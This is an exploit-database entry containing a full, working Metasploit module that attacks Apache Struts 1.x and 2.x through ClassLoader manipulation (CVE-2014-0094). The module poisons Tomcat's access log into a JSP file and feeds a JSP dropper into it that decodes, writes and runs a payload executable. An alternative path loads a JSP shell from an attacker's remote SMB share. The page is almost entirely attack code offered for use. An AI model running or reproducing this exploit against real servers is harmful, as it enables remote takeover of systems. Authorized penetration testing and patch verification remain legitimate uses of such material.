Apache Struts < 1.3.10 / < 2.3.16.2 ClassLoader Manipulation Remote Code Execution

Published
Credit
Risk
2017.03.23
Matthew Hall
High
CWE
CVE
Local
Remote
N/A
CVE-2014-0094
No
Yes

CVSS Base Score
Impact Subscore
Exploitability Subscore
5/10
2.9/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
None
Partial
None

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking # It's going to manipulate the Class Loader

include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SMB::Server::Share

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in Apache Struts versions
1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
allow remote attackers to execute arbitrary Java code via crafted parameters.
},
'Author' =>
[
'Mark Thomas', # Vulnerability Discovery
'Przemyslaw Celej', # Vulnerability Discovery
'Redsadic <julian.vilas[at]gmail.com>', # Metasploit Module
'Matthew Hall <hallm[at]sec-1.com>' # SMB target
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-0094'],
['CVE', '2014-0112'],
['CVE', '2014-0114'],
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
],
'Platform' => %w{ linux win },
'Payload' =>
{
'Space' => 5000,
'DisableNops' => true
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
['Java',
{
'Arch' => ARCH_JAVA,
'Platform' => %w{ linux win }
},
],
['Linux',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
['Windows',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
]
],
'DisclosureDate' => 'Mar 06 2014',
'DefaultTarget' => 1))

register_options(
[
Opt::RPORT(8080),
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
], self.class)

deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
end

def jsp_dropper(file, exe)
dropper = <<-eos
<%@ page import=\"java.io.FileOutputStream\" %>
<%@ page import=\"sun.misc.BASE64Decoder\" %>
<%@ page import=\"java.io.File\" %>
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
<% oFile.flush(); %>
<% oFile.close(); %>
<% File f = new File(\"#{file}\"); %>
<% f.setExecutable(true); %>
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
eos

dropper
end

def dump_line(uri, cmd = '')
res = send_request_cgi({
'uri' => uri,
'encode_params' => false,
'vars_get' => {
cmd => ''
},
'version' => '1.1',
'method' => 'GET'
})

res
end

def modify_class_loader(opts)

cl_prefix =
case datastore['STRUTS_VERSION']
when '1.x' then "class.classLoader"
when '2.x' then "class['classLoader']"
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
"#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
}
})

res
end

def check_log_file(hint)
uri = normalize_uri("/", @jsp_file)

print_status("Waiting for the server to flush the logfile")

10.times do |x|
select(nil, nil, nil, 2)

# Now make a request to trigger payload
vprint_status("Countdown #{10-x}...")
res = dump_line(uri)

# Failure. The request timed out or the server went away.
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?

# Success if the server has flushed all the sent commands to the jsp file
if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
return true
end
end

false
end

# Fix the JSP payload to make it valid once is dropped
# to the log file
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l=~ /%>/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end

def create_jsp
if target['Arch'] == ARCH_JAVA
jsp = fix(payload.encoded)
else
if target['Platform'] == 'win'
payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform})
else
payload_exe = generate_payload_exe
end
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)

register_files_for_cleanup(payload_file)
end

jsp
end

def exploit
if target.name =~ /Remote SMB Resource/
begin
Timeout.timeout(datastore['SMB_DELAY']) { super }
rescue Timeout::Error
# do nothing... just finish exploit and stop smb server...
end
else
class_loader_exploit
end
end

# Used with SMB targets
def primer
self.file_name << '.jsp'
self.file_contents = payload.encoded
print_status("JSP payload available on #{unc}...")

print_status("Modifying Class Loader...")
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
}
})

jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
jsp_shell << "/#{self.file_name}"

print_status("Accessing JSP shell at #{jsp_shell}...")
send_request_cgi({
'uri' => normalize_uri(jsp_shell),
'version' => '1.1',
'method' => 'GET',
})
end

def class_loader_exploit
prefix_jsp = rand_text_alphanumeric(3+rand(3))
date_format = rand_text_numeric(1+rand(4))
@jsp_file = prefix_jsp + date_format + ".jsp"

# Modify the Class Loader

print_status("Modifying Class Loader...")
properties = {
:directory => 'webapps/ROOT',
:prefix => prefix_jsp,
:suffix => '.jsp',
:file_date_format => date_format
}
res = modify_class_loader(properties)
unless res
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
end

# Check if the log file exists and has been flushed

unless check_log_file(normalize_uri(target_uri.to_s))
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
end

register_files_for_cleanup(@jsp_file)

# Prepare the JSP
print_status("Generating JSP...")
jsp = create_jsp

# Dump the JSP to the log file
print_status("Dumping JSP into the logfile...")
random_request = rand_text_alphanumeric(3 + rand(3))

uri = normalize_uri('/', random_request)

jsp.each_line do |l|
unless dump_line(uri, l.chomp)
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
end
end

# Check log file... enjoy shell!
check_log_file(random_request)

# No matter what happened, try to 'restore' the Class Loader
properties = {
:directory => '',
:prefix => '',
:suffix => '',
:file_date_format => ''
}
modify_class_loader(properties)
end

end


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